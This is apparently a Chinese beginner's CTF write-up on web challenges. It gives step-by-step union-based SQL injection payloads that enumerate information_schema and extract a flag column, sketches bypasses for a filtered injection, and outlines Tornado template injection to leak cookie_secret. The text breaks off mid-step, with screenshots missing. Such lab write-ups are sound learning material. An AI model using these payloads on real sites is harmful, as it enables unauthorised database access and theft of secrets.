终究还是开始学习了web…
sql注入
在学习sqlweb过程中,首先学习的就是sql注入。首先从攻防世界的一个基础sql注入开始:
通过这里的输入框可以推测是sql注入,输入
1 | ' or 1 # |
发现回显没有改变,所以确定存在sql注入。
随后判断一共有几列:
1 | ' or 1 order by 3# |
当输入4时,出现报错,确定一共存在3列。
随后使用union联合查询:
1 | ' or 1 union select 1,2,3 # |
查询表名:
1 | ' or 1 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS # |
想要获取的为secret的内容,查询该表的列名以及数据类型:
1 | ' or 1 union select 1,column_name,data_type from information_schema.columns where table_name='secret_table'# |
获取fl4g的内容:
1 | ' or 1 union select 1,2,fl4g from secret_table # |
过滤的sql注入
首先先老样子查找注入点:
找到注入点,判断列数:
发现共两列,接下来使用union查询:
发现对其有进行过滤,所以最开始的办法行不通了,需要换一种做法:、
这里圈起来的要注意要用反引号,一定要用反引号!!
使用预编译
使用alter配合rename
模块注入
Flask模块注入
Tomado模块注入
点击第一个flag:
将文件名改为提示的名字:
发现报错,尝试修改报错信息:
发现成功修改,说明这里存在注入点。
查看hint:
发现这里给出了filehash的算法:
1 | md5(cookie_secret+md5(filename)) |
接下来一步就是要泄露处cookie_secret,这里可以利用之前的报错进行注入,首先在官网查看该cookie在handler.settings这个函数中,构造注入:
构造filehash: